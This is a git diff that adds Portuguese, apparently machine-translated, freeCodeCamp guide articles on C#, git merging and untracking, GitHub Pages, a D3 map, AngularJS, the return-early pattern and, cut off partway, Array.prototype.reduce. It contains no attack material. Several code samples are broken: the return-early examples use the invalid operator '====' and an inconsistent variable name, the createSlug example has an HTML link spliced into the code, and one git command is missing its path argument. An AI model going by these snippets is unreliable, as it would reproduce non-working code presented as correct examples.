+*   A linguagem de programação C # ( _pronuncia-se "C-sharp"_ ): C # tem uma sintaxe semelhante a Java, C ++ e Javascript. Isto é:
+    
+    1.  usado para gravar aplicativos, serviços e bibliotecas reutilizáveis.
+    2.  projetado para funcionar com a plataforma .NET.
+    3.  linguagem orientada a objetos de alto nível e fortemente tipada.
+    
+    *   [.NET Core](https://blogs.msdn.microsoft.com/dotnet/2014/12/04/introducing-net-core/) : é o esforço recente da Microsoft para avançar em direção ao desenvolvimento de plataforma aberta, entregue como pacotes [Nuget](https://www.nuget.org/) . Eles estão trabalhando com a comunidade [Mono](http://www.mono-project.com/) , que é uma implementação do Microsoft .NET Framework para criar aplicativos no Windows, Linux e iOS.
+        
+    *   [Silverlight](https://www.microsoft.com/silverlight/) : destina-se principalmente a se concentrar em plug-ins de navegadores da Web para fornecer multimídia enriquecida.
+        
+    *   [.NET para Windows app](https://dev.windows.com/en-us/) : usado para criar aplicativos de armazenamento do Windows 8.x usando C #.
+        
+
+## A linguagem de programação C #
+
+Próximo passo para aprender a linguagem de programação C # .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-ooda-loops/index.md b/client/src/guide/portuguese/miscellaneous/the-ooda-loops/index.md
new file mode 100644
index 0000000000..d46ccf075d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-ooda-loops/index.md
@@ -0,0 +1,11 @@
+---
+title: The Ooda Loops
+localeTitle: The Ooda Loops
+---
+O OODA Loop é sobre o quão rápido você pode iterar. Frequentemente referenciada em círculos de Startup Lean.
+
+![OODA](https://upload.wikimedia.org/wikipedia/commons/3/3a/OODA.Boyd.svg)
+
+## Veja também
+
+[OODA Loop](https://en.wikipedia.org/wiki/OODA_loop)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-return-early-pattern/index.md b/client/src/guide/portuguese/miscellaneous/the-return-early-pattern/index.md
new file mode 100644
index 0000000000..5fa6c51fb7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-return-early-pattern/index.md
@@ -0,0 +1,79 @@
+---
+title: The Return Early Pattern
+localeTitle: O retorno mais cedo padrão
+---
+O padrão de retorno antecipado em JavaScript é uma maneira simples de reduzir o número de instruções `else` dentro de um corpo de função para zero. Há muitas razões para preferir esse padrão ao usar instruções `else` .
+
+*   Reduzindo a quantidade total de código na página
+*   Reduza o comprimento da linha reduzindo a complexidade lógica
+*   Melhore a legibilidade
+
+A essência do padrão de retorno antecipado é substituir a necessidade de `else` condicionais em funções JavaScript usando a palavra-chave `return` no corpo da instrução `if` .
+
+Vamos criar uma função que se comporta de maneira diferente sob certas condições (observe: esse é um exemplo trivial e artificial apenas para mostrar o ponto).
+```
+function willItBlend(someObject) { 
+  var ItWillBlend; 
+ 
+  if (someObject.blendable ==== 'It will blend') { 
+    itWillBlend = true; 
+  } else { 
+    itWillBlend = false; 
+  } 
+ 
+  return itWillBlend; 
+ } 
+```
+
+Embora isso pareça legível, vamos adicionar outra condição para verificar se a função foi de fato chamada com um objeto em vez de `undefined` .
+```
+function willItBlend(someObject) { 
+  var itWillBlend; 
+ 
+  if (typeof someObject === 'object') { 
+    if (someObject.blendable ==== 'It will blend') { 
+      itWillBlend = true; 
+    } else { 
+      itWillBlend = false; 
+    } 
+  } else { 
+    itWillBlend = false; 
+  } 
+ 
+  return itWillBlend; 
+ } 
+```
+
+Esta função é clara e seu nome é descritivo, mas parece desnecessariamente complicado. Podemos usar o padrão de retorno antecipado para aumentar a legibilidade e diminuir o número de `else` declarações? Vamos tentar.
+```
+function willItBlend(someObject) { 
+  if (typeof someObject !== 'object') { 
+    return false; 
+  } 
+ 
+  if (someObject.blendable !== 'It will blend') { 
+    return false; 
+  } 
+ 
+  return true; 
+ } 
+```
+
+Usando o padrão de retorno inicial, conseguimos remover todas as instruções desnecessárias e fazer com que as funções e a assinatura (o tipo de argumento esperado) sejam mais claras e concisas.
+
+### Bônus: uma declaração condicional
+
+Podemos refatorar ainda mais essa função para usar apenas uma instrução if. Confira:
+```
+function willItBlend(someObject) { 
+  if ( 
+    typeof someObject !== 'object' || 
+    someObject.blendable !== 'It will blend' 
+    ) { 
+    return false; 
+  } 
+ 
+  return true; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/tips-for-your-coding/index.md b/client/src/guide/portuguese/miscellaneous/tips-for-your-coding/index.md
new file mode 100644
index 0000000000..bd4a2e0b6a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/tips-for-your-coding/index.md
@@ -0,0 +1,24 @@
+---
+title: Tips for Your Coding
+localeTitle: Dicas para sua codificação
+---
+Esta lista foi criada através da compilação de problemas e questões comuns ao trabalhar nos desafios do algoritmo, eles devem ser úteis em geral.
+
+1.  Se você não sabe por onde começar, escreva algum pseudocódigo. Planeje a lógica que você está tentando implementar em seu idioma nativo antes de tentar colocá-lo no código.
+    
+2.  Comente seu código! Não é possível enfatizar isso o suficiente, se você se perder ou fizer uma pausa, volte e precise saber o que seu código está tentando fazer. Ele também reforçará o que o código significa para você e ajudará outras pessoas a entender o que seu código faz se você ficar preso e pedir ajuda. Se você tem alguma outra dica para os campistas, eu adoraria vê-los!
+    
+3.  Use o console do depurador javascript chrome em conjunto com algo como o NetBeans IDE ou o texto sublime para escrever seu código. Ambos são gratuitos para download. O editor de código freeCodeCamp é ótimo, mas você pode obter muito mais feedback sobre o comportamento do seu código usando o depurador JS do chrome e um monte de **console.log (myVariableGoesHere);**
+    
+
+Referências
+
+*   [Console do Chrome](https://developer.chrome.com/devtools/docs/console)
+    
+*   [Texto Sublime](http://www.sublimetext.com/)
+    
+*   [Netbeans](https://netbeans.org/downloads/)
+    
+    1.  Postar seu código no gitter é tão simples quanto adicionar uma linha que consiste em apenas 3 backtics \*\* `** then your code in a new line and another line with 3 more backtics.`
+        
+    2.  Peça ajuda no gitter! Eu posso me relacionar pessoalmente com um problema por horas, então vendo a solução assim que eu tento explicar para alguém, ou alguém dizendo algo como "erro de digitação na linha 6" assim que eles o vêem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md b/client/src/guide/portuguese/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md
new file mode 100644
index 0000000000..7e2f8ff788
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md
@@ -0,0 +1,25 @@
+---
+title: Transferring a Heroku Project Between Nonprofit Project Owners
+localeTitle: Transferindo um projeto Heroku entre proprietários de projetos sem fins lucrativos
+---
+## Heroku:
+
+Assim que a pessoa que receberá o aplicativo Heroku tiver criado uma conta Heroku, siga as etapas localizadas aqui para transferi-la: [https://devcenter.heroku.com/articles/transferring-apps](https://devcenter.heroku.com/articles/transferring-apps)
+
+## MLAB:
+
+Crie uma conta de "usuário" MLAB para a pessoa para quem você deseja transferir seu banco de dados MLAB: [http://docs.mlab.com/accounts/#account-users](http://docs.mlab.com/accounts/#account-users)
+
+Em seguida, eles precisariam reatribuir seus privilégios de administrador à conta que você acabou de criar: [http://docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only](http://docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only)
+
+## GitHub ou BitBucket
+
+Os novos proprietários do projeto podem bifurcar seu repositório existente ou você pode transferir a propriedade para eles no GitHub: [https://help.github.com/articles/about-repository-transfers/](https://help.github.com/articles/about-repository-transfers/)
+
+Para transferi-lo em BitBucket: [https://confluence.atlassian.com/bitbucket/change-or-transfer-repository-ownership-289964397.html](https://confluence.atlassian.com/bitbucket/change-or-transfer-repository-ownership-289964397.html)
+
+## Certifique-se de que nenhuma chave permaneça na sua história do Git
+
+Se o seu projeto for open source, tenha cuidado para remover todas as chaves (elas nunca deveriam ter sido comprometidas, mas é melhor tarde do que nunca removê-las). Veja como pesquisar em seu histórico de código por eles:
+
+Se você encontrar uma chave em algum lugar do seu repositório, ou descobrir que um arquivo confidencial como o .env foi de alguma forma comprometido em algum momento, você pode limpá-lo do seu histórico de git com o BFG: [https://help.github.com/articles / remove-sensitive-data /](https://help.github.com/articles/remove-sensitive-data/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/translate-free-code-camp-to-your-language/index.md b/client/src/guide/portuguese/miscellaneous/translate-free-code-camp-to-your-language/index.md
new file mode 100644
index 0000000000..742dcaae48
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/translate-free-code-camp-to-your-language/index.md
@@ -0,0 +1,8 @@
+---
+title: Translate Free Code Camp to Your Language
+localeTitle: Traduzir Free Code Camp para o seu idioma
+---
+Nosso esforço de tradução é impulsionado por campistas bilíngües como você.
+
+Se você é bilíngue e tem tempo para nos ajudar, por favor entre no [canal do gitter](https://gitter.im/FreeCodeCamp/Translators)  
+e leia o [Guia de Tradução](http://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/understand-how-to-use-git-merge/index.md b/client/src/guide/portuguese/miscellaneous/understand-how-to-use-git-merge/index.md
new file mode 100644
index 0000000000..8208317eb9
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/understand-how-to-use-git-merge/index.md
@@ -0,0 +1,70 @@
+---
+title: Understand How to Use Git Merge
+localeTitle: Entenda como usar o Git Merge
+---
+Vamos dizer que você está trabalhando em um aplicativo semelhante ao Reddit, mas especificamente para trechos de código. Em um aplicativo desse tipo, você provavelmente teria um branch `master` que contém todos os recursos liberados, um branch `dev` que pode conter recursos que foram codificados, mas ainda não implementados. Cada desenvolvedor na equipe criará suas próprias filiais fora do `dev` ramo de características individuais. A estrutura do repositório seria algo como isto:
+```
+                                  --- Commit 3 --------- dev branch 
+                                / 
+ --- Commit 1 ---- Commit 2 ---------------------------- master branch 
+```
+
+Se você decidiu fundir o 3º commit ( `Commit 3` ) no branch `master` branch `dev` , então seria tão simples quanto rodar um comando `git merge` porque o branch `dev` está _atualizado_ com o branch `master` : todos os commits no branch `master` existem no branch `dev` . Você pode mesclar as ramificações executando os seguintes comandos:
+```
+git checkout dev 
+ git merge master 
+```
+
+O resultado seria algo assim:
+```
+                                               --------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------- master branch 
+```
+
+Agora você decide trabalhar no recurso de autenticação. Para trabalhar no recurso de autenticação, você cria outra ramificação com base na ramificação `dev` e decide chamá-la de `auth` . É assim que a estrutura do repo se parece:
+```
+                                                  ------ auth branch 
+                                                / 
+                                               --------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------- master branch 
+```
+
+Se você tivesse que cometer quaisquer alterações na ramificação de `auth` , mesclá-las com a ramificação `dev` seria trivial porque ela está atualizada com a ramificação `dev` . Agora, enquanto você estava trabalhando no recurso de autenticação, um dos desenvolvedores terminou de codificar o recurso de realce de sintaxe e decidiu mesclá-lo com a ramificação `dev` . O repo se parece com isso agora:
+```
+                                                  --- Commit 5 --- auth branch 
+                                                / 
+                                               --- Commit 4 ------ dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 ------------------------ master branch 
+```
+
+Sua ramificação, na terminologia do Git, é agora um commit por trás do branch `dev` . Isso significa que você não pode simplesmente mesclar as duas ramificações: você deve atualizar sua ramificação `auth` com a ramificação `dev` . Isso pode ser feito com `git merge` !
+
+Mesclar a ramificação de `auth` com a ramificação `dev` ou a ramificação `dev` com a ramificação `master` é direta e faz o que você espera, mas mesclar o inverso tem suas próprias idiossincrasias que não são intuitivas à primeira vista. Eu posso tagarelar sobre isso, ou posso mostrar outro grande diagrama do que aconteceria se você mesclasse o branch `dev` com o branch `auth` neste momento:
+```
+                                                  --- Commit 5 ----------- auth branch 
+                                                /               / 
+                                               --- Commit 4 -------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------------------------- master branch 
+```
+
+Veja o que eu fiz lá? Olhe para o diagrama por um segundo e tente entender o que está acontecendo aqui antes de prosseguir. Você essencialmente fez outro commit na ramificação `auth` com os commits da ramificação `dev` incluída. Mas tudo bem, certo? Afinal de contas, no final do dia, eu queria atualizar minha ramificação de `auth` com a ramificação `dev` e agora ela _está_ atualizada? Sim. Mas deixe-me mostrar um diagrama para ilustrar explicitamente o que o outro diagrama implica: Sua ramificação de `auth` agora é assim:
+```
+    --- Commit 5 ------- Commit 4 ------- auth branch 
+  /                / 
+ ------ Commit 4 --- --------------------- dev branch 
+```
+
+Veja Agora? Você _copiou_ o commit. Se você fosse mesclar ao ramo `dev` agora, seria algo como isto:
+```
+    --- Commit 5 ------- Commit 4 -------------------------------------- auth branch 
+  /                /                  \ 
+ ------- Commit 4 ----------------------- Commit 5 ---- Commit 4 -------- dev branch 
+```
+
+Você mesclou o mesmo commit duas vezes! Isto obviamente não terá repercussões para o seu próprio código, mas se você decidir analisar seus `git logs` , perceberá imediatamente como está suja sua história do git, com alguns commits sendo feitos repetidamente. Se você quisesse reverter para um commit, seria muito difícil decidir para qual commit reverter.
+
+É preferível que você use o [Git-Rebase](http://forum.freecodecamp.com/t/how-to-use-git-rebase/13226) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md b/client/src/guide/portuguese/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md
new file mode 100644
index 0000000000..8346b92ca7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md
@@ -0,0 +1,23 @@
+---
+title: Untrack Files Previously Committed from New Gitignore
+localeTitle: Desproteger arquivos anteriormente comprometidos com o novo Gitignore
+---
+Para não rastrear um _único_ arquivo, ou seja, parar de rastrear o arquivo, mas não excluí-lo do uso do sistema:
+
+`git rm --cached filename`
+
+Para desimpedir _todos os_ arquivos no `.gitignore` :
+
+Primeiro, **confirme** todas as alterações de código pendentes e, em seguida, execute:
+
+`git rm -r --cached`
+
+Isso remove todos os arquivos alterados do índice (área de preparação) e executa:
+
+`git add .`
+
+Confirme:
+
+`git commit -m ".gitignore is now working"`
+
+Para desfazer `git rm --cached filename` , use `git add filename`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/us-state-map-visualization-using-d3js/index.md b/client/src/guide/portuguese/miscellaneous/us-state-map-visualization-using-d3js/index.md
new file mode 100644
index 0000000000..e1c8b06c1f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/us-state-map-visualization-using-d3js/index.md
@@ -0,0 +1,61 @@
+---
+title: Us State Map Visualization Using D3js
+localeTitle: Us State Map Visualização Usando D3js
+---
+![captura de tela 2016-05-19 at 6 29 43 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a4a31935c10185c660c713ba7651a30e0a11f1e8.png)
+
+## Explicação do Projeto:
+
+**Temos os dados da amostra dos Estados dos EUA:** Número de acidentes graves relatados para cada estado nos EUA.
+
+_Temos esses dados em três categorias:_ Número mais baixo reportado por um mês, Média de acidentes reportados em um ano e Número mais alto relatado em um mês, conforme mostrado nos dados abaixo da amostra.
+
+Queremos desenhar um mapa dos EUA e visualizar esses dados de forma que, quando passarmos o mouse sobre um estado, ele mostre esses dados para esse estado específico.
+
+## Dados de amostra:
+
+`AZ: 13 41 57`
+
+`CA: 41 60 81`
+
+`NY: 6 35 54` e assim por diante.
+
+## Dicas e Recursos:
+
+### Instruções passo a passo:
+
+*   Primeiro, precisaremos criar um mapa dos EUA.
+    
+    1.  Você pode criar um mapa do zero usando fontes como - [Stately.](https://intridea.github.io/stately/)
+        
+    2.  Obtenha um mapa já criado de [freehtml5maps](http://freehtml5maps.com) ou use este [Javascript](http://bl.ocks.org/NPashaP/raw/a74faf20b492ad377312/3513ad985b2fa93ea35f2fc864cb30540c298171/uStates.js)
+        
+*   Adicione seu mapa ao javascript principal usado para visualização
+    
+
+Por exemplo, `(script src="uStates.js")(/script) (!-- creates uStates. --)`
+
+*   Crie uma tag Div para manter a dica de ferramenta e crie o SVG para manter seu mapa.
+
+Por exemplo,
+
+`javascript (div id="tooltip")(/div) (svg width="960" height="600" id="statesvg")(/svg)`
+
+*   Crie a função Tooltip para criar uma string de conteúdo html na div da dica de ferramenta.
+
+Esta função de dica de ferramenta retornará uma tabela e essa tabela será mostrada sempre que passarmos o mouse sobre o estado Tabela deve ser algo assim (conforme mostrado na primeira figura): Arizona Baixa 13 Média 41 Alta 57
+
+*   Desenhe estados em id (#statesvg no nosso exemplo) com dados e função tooltip.
+
+Por exemplo, `uStates.draw("#statesvg", sampleData, tooltipFunc);`
+
+**Saída final será algo como isto: (Pairou o mouse sobre a Califórnia)**
+
+![captura de tela 2016-05-19 at 6 37 57 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2c17548386b8591d84ac8f2541fecd8d68e7365c.png)
+
+## Referências:
+
+1.  Exemplos e Documentações do [**D3.js.**](https://d3js.org)
+2.  [**NPashaP GitHub**](https://github.com/NPashaP)
+3.  [**Imponente**](https://intridea.github.io/stately/)
+4.  [**FreeHTML5Maps**](http://freehtml5maps.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md b/client/src/guide/portuguese/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md
new file mode 100644
index 0000000000..6670367262
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md
@@ -0,0 +1,93 @@
+---
+title: Use Github Static Pages to Host Your Front End Projects
+localeTitle: Use páginas estáticas do Github para hospedar seus projetos front-end
+---
+**Benefícios**
+
+Eu amo o Codepen.io, é uma ferramenta maravilhosa e fácil de usar para experimentos simples de front-end. Mas à medida que os projetos da FCC se tornaram mais complexos, percebi que codificar localmente iria me salvar um monte de dores de cabeça. Meu editor de texto e combo de [código de código](https://incident57.com/codekit/) são apenas mais rápidos.
+
+*   autocompletar
+*   Compile tudo (codepen foi realmente arrastando tentando compilar Jade)
+*   Melhor atualização automática
+*   Construído em caramanchão
+*   Versão do Git
+*   Experiência aprimorada de imóveis na tela
+
+## Git para o Github
+
+Como eu já estou salvando localmente e usando o git para controle de versão, imaginei que poderia fazer o upload para o Github. Além disso, o Github tem um fantástico serviço gratuito para projetos front-end chamados [Github Pages](https://pages.github.com/) . Basta atualizar seu repositório e suas alterações estão ativas.
+
+Como isso funciona é simples. O Github verifica se o seu repositório tem uma ramificação chamada `gh-pages` e serve qualquer código que esteja naquela ramificação. Não há coisas de back-end aqui, mas HTML, CSS e JS funcionam como um encanto.
+
+## Primeiras coisas primeiro
+
+Vamos criar uma nova pasta para o seu projeto. Vou usar o projeto [Camper News](http://www.freecodecamp.com/challenges/stylize-stories-on-camper-news) como meu exemplo.
+
+Chegue ao seu diretório de trabalho e faça um novo. Você pode fazer isso no terminal (ou não).
+
+![Diretório de projetos](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2e3faaa2752657c592a9991ceed29a0200f332e6.png)
+
+Agora, entre no diretório do projeto e (com certeza no terminal desta vez) use o comando `git init` . Note que este tutorial pressupõe que [você tenha o git instalado](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git) .
+
+Tudo bem, incrível. Agora estamos prontos para trabalhar.
+
+## Próximos passos
+
+Crie alguns arquivos no seu diretório campNews. Eu não sei, talvez um index.html e provavelmente app.css e app.js, ou qualquer convenção de nomenclatura que você preferir. Coloque seu código nesses arquivos. Tudo bem, agora estamos prontos para nosso primeiro commit. Leva **dois passos** .
+
+1.  `git add -A` irá preparar todos esses novos arquivos e o novo código dentro deles
+2.  `git commit -m 'relevant message'` cometerá todo o trabalho que você fez para o ramo em que você está atualmente ('master' por padrão)
+
+## A chave para essa coisa toda
+
+Ok, até agora ainda somos locais. Há algumas coisas que temos que fazer para levar o nosso trabalho e movê-lo para o github. É neste momento que gosto de trocar de ramo. Lembre-se - o github só serve de páginas gh, e se você seguiu até aqui, seu ramo é chamado de 'mestre'. Vamos criar um novo branch de páginas gh (local).
+
+`git checkout -b gh-pages` irá criá-lo, copiar todo o trabalho do mestre para o gh-pages e passar para o branch. Ufa
+
+`git branch -d master` irá se livrar do branch master. Parece loucura, eu sei, mas para que precisamos disso? Apenas pense em gh-pages como seu novo branch master.
+
+Agora, `git add -A` e `git commit -m 'relevant message'` novamente, apenas no caso. E esteja preparado para deixar seu editor e terminal e entrar on-line pela primeira vez.
+
+Vá para o seu perfil do github e crie um novo repo. Nomeie algo relevante, como campNews.
+
+![Novo Repo](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3f113af87b94fcd649c78d5f6d36463795671e7b.png)
+
+Uma vez criado, entre e pegue o URL clone HTTPS. (Ignore os arquivos na minha captura de tela, o seu repo estará vazio neste momento).
+
+![url clone](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a0f3da26ba0802342d7d6f7890763a2bca32b62a.png)
+
+## Colocando tudo junto
+
+E você pode deixar o mundo online. De volta ao terminal! Vamos conectar nosso projeto local a este repositório do github. Tudo o que é necessário é um comando.
+
+`git remote add origin <server>` Apenas substitua o servidor pelo url HTTPS que você acabou de copiar. Então meu comando é assim:
+
+`git remote add origin https://github.com/gkobilansky/campNews.git` .
+
+Ok, até agora nós temos:
+
+1.  Criou nosso projeto
+2.  Versioned no git
+3.  Comprometido algumas mudanças
+4.  Mudou para o ramo 'gh-pages'
+5.  Conectou ao github
+
+## Último passo!
+
+Empurre seu projeto para o github. Mais uma vez, simples:
+
+`git push origin gh-pages`
+
+Esse comando garantirá que seus commits mais recentes sejam enviados para o github. Uma vez que você tenha feito isso pelo menos uma vez, seu projeto deve estar disponível http: // _username_ .github.io / _repository_ , então para mim é [http://gkobilansky.github.io/campNews](http://gkobilansky.github.io/campNews) .
+
+Quando tudo isso for feito, o processo simplesmente se repete:
+
+1.  `git add -A`
+2.  `git commit -m 'relevant message'`
+3.  `git push origin gh-pages`
+
+Concedida, curva de aprendizado mais íngreme do que codepen.io, mas mais rápido e mais flexível, uma vez que você pegar o jeito dele.
+
+Codificação feliz!
+
+PS. Graças a [este guia](http://rogerdudler.github.io/git-guide/) por Roger Dudler para manter as coisas simples.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/using-angular-js-for-the-back-end-projects/index.md b/client/src/guide/portuguese/miscellaneous/using-angular-js-for-the-back-end-projects/index.md
new file mode 100644
index 0000000000..7b4f6a1c4f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/using-angular-js-for-the-back-end-projects/index.md
@@ -0,0 +1,34 @@
+---
+title: Using AngularJS for the Back End Projects
+localeTitle: Usando o AngularJS para os projetos de back-end
+---
+Aqui você encontrará artigos que ajudarão você a aprender mais e concluir seus projetos de back-end.
+
+## Índice
+
+*   Parte 1: Frontend
+    
+    *   [Estrutura de arquivos frontend](https://guide.freecodecamp.org/miscellaneous/front-end-file-structure)
+    *   [Criando uma nova rota](https://guide.freecodecamp.org/miscellaneous/create-a-new-route-in-angular)
+    *   [Criando uma nova diretiva](https://guide.freecodecamp.org/miscellaneous/creating-a-new-directive-in-angular)
+    *   [Grunhido](https://guide.freecodecamp.org/miscellaneous/what-is-grunt)
+*   Parte 2: back-end
+    
+    *   [Estrutura de arquivos de back-end](https://guide.freecodecamp.org/miscellaneous/backend-file-structures-in-angular)
+    *   [Criando um novo terminal da API](https://guide.freecodecamp.org/miscellaneous/create-a-new-api-endpoint-in-angular)
+    *   [Corrigindo o exports.update](https://guide.freecodecamp.org/miscellaneous/fixing-exportsupdate-in-angular)
+*   Parte 3: Interface entre Frontend e Backend
+    
+    *   [Acessando o banco de dados do seu frontend](https://guide.freecodecamp.org/miscellaneous/accessing-the-database-from-your-front-end)
+    *   [Dados de sementes](https://guide.freecodecamp.org/miscellaneous/seed-data-in-angular)
+    *   [Dica rápida: mantenha os dados em sincronia](https://guide.freecodecamp.org/miscellaneous/keep-data-in-sync-in-angular)
+*   Parte 4: URLs dinâmicas usando $ routeParams, APIs mais úteis
+    
+    *   [URLs dinâmicos usando $ routeParams](https://guide.freecodecamp.org/miscellaneous/dynamic-urls-using-routeparams-in-angular)
+    *   [APIs mais úteis](https://guide.freecodecamp.org/miscellaneous/make-useful-apis-in-angularjs)
+*   Parte 5: Auth, JS-IsLoggedInAsync
+    
+    *   [Obter informações sobre o usuário atual](https://guide.freecodecamp.org/miscellaneous/get-information-about-the-current-user-in-angularjs)
+    *   [Restringir uma página a usuários autenticados](https://guide.freecodecamp.org/miscellaneous/restrict-access-to-authenticated-users-only)
+    *   JS-IsLoggedInAsync
+*   [Bônus: SocketIO](https://guide.freecodecamp.org/miscellaneous/angular-socketio)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md b/client/src/guide/portuguese/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md
new file mode 100644
index 0000000000..06c17afcaf
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md
@@ -0,0 +1,359 @@
+---
+title: Using Arrayprototypereduce to Reduce Conceptual Boilerplate for Problems on Arrays
+localeTitle: Usando Arrayprototypereduce para reduzir o padrão clichê para problemas em matrizes
+---
+Isso é um bocado! Ele poderia ter sido intitulado **Use `Array.prototype.reduce()` para resolver problemas de array facilmente** ou **`Array.prototype.reduce()` FTW!** . Isso teria sido muito mais fácil de ler e analisar.
+
+Mas não foi. Loops em JavaScript são assim mesmo. Eles não são concisos, eles fazem você bater no mato por um tempo. Como diz a piada, duas coisas são mais difíceis na ciência da computação - [invalidação de cache](https://en.wikipedia.org/wiki/Cache_invalidation) , [nomeação de coisas](https://www.quora.com/Why-is-naming-things-hard-in-computer-science-and-how-can-it-can-be-made-easier) e [erro off-by-one](https://en.wikipedia.org/wiki/Off-by-one_error) .
+
+E então há o perigo de escrever [um código assíncrono dentro de um loop for sem usar o encerramento de IIFE](http://stackoverflow.com/questions/11488014/asynchronous-process-inside-a-javascript-for-loop) .
+
+Este artigo começaria com uma afirmação - que você pode evitar o uso de um loop for ou loop while para resolver qualquer problema relacionado à `Array` . Em vez disso, você pode resolver todos eles usando `Array.prototype.reduce()` . Se você deseja ler em frente; verifique se você conhece as funções recursivas e algumas das ferramentas funcionais legais, como `Array.prototype.map()` ou `Array.prototype.filter()` .
+
+Grandes reivindicações exigem grande evidência. Então, vamos demonstrar como podemos nos acostumar com o uso de `reduce()` .
+
+Está na hora de você saber que, se não tiver resolvido as seções de script do algoritmo FreeCodeCamp, talvez queira adiar a leitura desta próxima parte. Alguns dos exemplos podem muito bem combinar esses problemas.
+
+Este é o alerta de spoiler clichê; Certifique-se de dar a esses problemas uma tentativa honesta e não dar uma olhada nas soluções antes mesmo de tentar.
+
+Além disso, se você já o entende bem o suficiente, talvez queira rever essa redação e fornecer feedback.
+
+## Posso reduzir qualquer problema relacionado a matriz?
+
+Sim você pode! Na verdade, o problema nem precisa ter um Array - _isso só tem que ser um problema, onde você pode criar um array intermediário_ .
+
+Vamos dar um exemplo. É muito comum criar uma [URL de slug a](https://en.wikipedia.org/wiki/Semantic_URL#Slug) partir de uma string padrão em branco, como manchetes de notícias, títulos de artigos de blogs ou até mesmo perguntas em fóruns de perguntas e respostas.
+
+Diga, nós temos que escrever uma função de utilidade, que cria essa lesma. Você provavelmente poderia escrever algo assim:
+```
+function createSlug(str){ 
+  return str.split(" ").reduce(function(prev, next){ 
+    return prev.concat(<a href='https://signalvnoise.com/posts/3124-give-it-five-minutes' target='_blank' rel='nofollow'>next.toLowerCase()]); 
+  }, []) 
+  .join("-"); 
+ } 
+```
+
+Não tome minha palavra para isso! Vá em frente, e teste em seu console com alguma entrada como "Leo Finally Wins a Freaking Oscar!" Veja o que ele retorna. Eu vou esperar ... pronto? Ok, seguindo em frente.
+
+Sim, não é uma implementação robusta. Não cuida de alguns casos de borda, também assume que a união deve acontecer com `"-"` .
+
+Mas é um começo. Observe como o uso de `reduce` tira o boilerplate do seu caminho - a ação acontece apenas na linha:
+```
+return prev.concat([next.toLowerCase()]); 
+```
+
+Esse é o núcleo da funcionalidade que queremos. De fato, estamos tão seguros de sua grandiosidade, que começamos o corpo da `function` com uma declaração de `return` !
+
+Você pode muito bem imaginar isso, isso parece magia negra. Certifique-se de que não seja uma reação instintiva, porque você está muito acostumado a escrever loops. Apenas \[dê cinco minutos!
+
+Se o código acima não estiver claro, você precisa entender como a `reduce` funciona. E _entenda_ , quero dizer, saiba como a palma da sua mão.
+
+## Mas eu não entendo reduzir de todo!
+
+Bem, não tenha medo! Você está prestes a ser um Ninja `reduce` nos próximos minutos.
+
+Cada função JavaScript tem três coisas que você precisa saber para entender como a função funciona:
+
+*   A entrada
+*   A saída
+*   O contexto de execução
+
+Sim, posso ver você abrindo a [documentação](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) oficial do [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) em uma nova guia! Tudo bem, leia isso primeiro. Estou falando sério, isso não é brincadeira.
+
+Você deve sempre começar na documentação oficial para entender alguma coisa.
+
+Bom, agora que você está confuso com o `prev` e o `next` dentro do callback; você está pronto para seguir o texto aqui.
+
+`Array.prototype.reduce()` recebe um retorno de chamada e um valor inicial como argumentos de entrada (o valor inicial é importante. Muitos desenvolvedores esquecem de fornecer o valor inicial corretamente e estragam o código).
+
